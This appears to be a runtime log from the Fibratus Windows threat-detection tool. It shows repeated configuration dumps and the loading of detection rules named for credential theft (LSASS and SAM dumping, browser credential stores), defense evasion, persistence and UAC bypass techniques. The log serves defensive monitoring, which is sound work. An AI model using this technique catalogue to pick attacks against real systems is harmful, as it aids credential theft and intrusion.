gzip-compression=>false]] + pe ............................. [ read-resources=>false enabled=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-files=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false fastscan=>true skip-registry=>false excluded-files=>[] enabled=>false skip-allocs=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:03:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:03:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:03:48+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:03:48+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:03:48+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:04:12+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T15:04:12+01:00 level=info msg=bootstrapping with pid 3736. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:04:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 enabled=>false content-type=>text/html to=>[] use-template=>true] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true enable-dns=>false max-buffers=>36 enable-vamap=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false buffer-size=>512 enable-net=>true min-buffers=>16 enable-threadpool=>false enable-audit-api=>true enable-handle=>false flush-interval=>1s stack-enrichment=>true enable-fileio=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 max-age=>0 max-backups=>15 level=>info log-stdout=>true] + output ......................... [ http=>[ serializer=>json tls-insecure-skip-verify=>false endpoints=>[] method=>POST enable-gzip=>false enabled=>false timeout=>5s] amqp=>[ tls-insecure-skip-verify=>false passive=>false url=>amqp://localhost:5672 timeout=>5s enabled=>false vhost=>/ exchange-type=>topic exchange=>fibratus routing-key=>fibratus durable=>false delivery-mode=>transient] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ flush-period=>1s timeout=>5s enabled=>false healthcheck=>true sniff=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] trace-log=>false gzip-compression=>false bulk-workers=>1 healthcheck-interval=>10s index-name=>fibratus template-name=>fibratus]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-mmaps=>false skip-files=>false excluded-procs=>[] skip-allocs=>false enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:04:13+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:04:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:04:56+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:04:56+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:04:57+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:05:10+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T15:05:10+01:00 level=info msg=bootstrapping with pid 10172. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:05:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false to=>[] port=>25 use-template=>true content-type=>text/html] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-dns=>false enable-registry=>true enable-image=>true enable-handle=>false buffer-size=>512 min-buffers=>16 enable-mem=>false enable-net=>true flush-interval=>1s enable-thread=>true stack-enrichment=>true enable-vamap=>true enable-fileio=>true enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info log-stdout=>true max-age=>0 max-size=>100 max-backups=>15] + output ......................... [ elasticsearch=>[ template-name=>fibratus bulk-workers=>1 trace-log=>false index-name=>fibratus enabled=>false flush-period=>1s servers=>[http://127.0.0.1:9200] timeout=>5s sniff=>false healthcheck=>true healthcheck-timeout=>5s gzip-compression=>false healthcheck-interval=>10s] amqp=>[ timeout=>5s tls-insecure-skip-verify=>false routing-key=>fibratus url=>amqp://localhost:5672 vhost=>/ delivery-mode=>transient durable=>false enabled=>false exchange=>fibratus passive=>false exchange-type=>topic] http=>[ serializer=>json enabled=>false enable-gzip=>false timeout=>5s method=>POST endpoints=>[] tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] enabled=>false skip-allocs=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s excluded-files=>[] skip-registry=>false fastscan=>true skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:05:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:05:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:08:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:08:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:08:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:08:31+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T15:08:31+01:00 level=info msg=bootstrapping with pid 3384. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:08:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] content-type=>text/html enabled=>false use-template=>true port=>25] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-mem=>false stack-enrichment=>true enable-registry=>true enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-thread=>true enable-net=>true enable-fileio=>true enable-handle=>false min-buffers=>16 enable-dns=>false enable-image=>true enable-threadpool=>false flush-interval=>1s buffer-size=>512 max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true formatter=>text max-size=>100 level=>info max-backups=>15 max-age=>0] + output ......................... [ http=>[ tls-insecure-skip-verify=>false method=>POST enable-gzip=>false serializer=>json endpoints=>[] timeout=>5s enabled=>false] amqp=>[ delivery-mode=>transient routing-key=>fibratus exchange=>fibratus passive=>false exchange-type=>topic timeout=>5s durable=>false enabled=>false url=>amqp://localhost:5672 vhost=>/ tls-insecure-skip-verify=>false] elasticsearch=>[ healthcheck-timeout=>5s trace-log=>false healthcheck=>true index-name=>fibratus timeout=>5s servers=>[http://127.0.0.1:9200] sniff=>false enabled=>false healthcheck-interval=>10s bulk-workers=>1 gzip-compression=>false flush-period=>1s template-name=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false fastscan=>true scan-timeout=>10s enabled=>false skip-allocs=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false excluded-files=>[] excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:08:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:08:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:10:05+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:10:05+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:10:05+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:10:11+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:10:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:10:12+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + 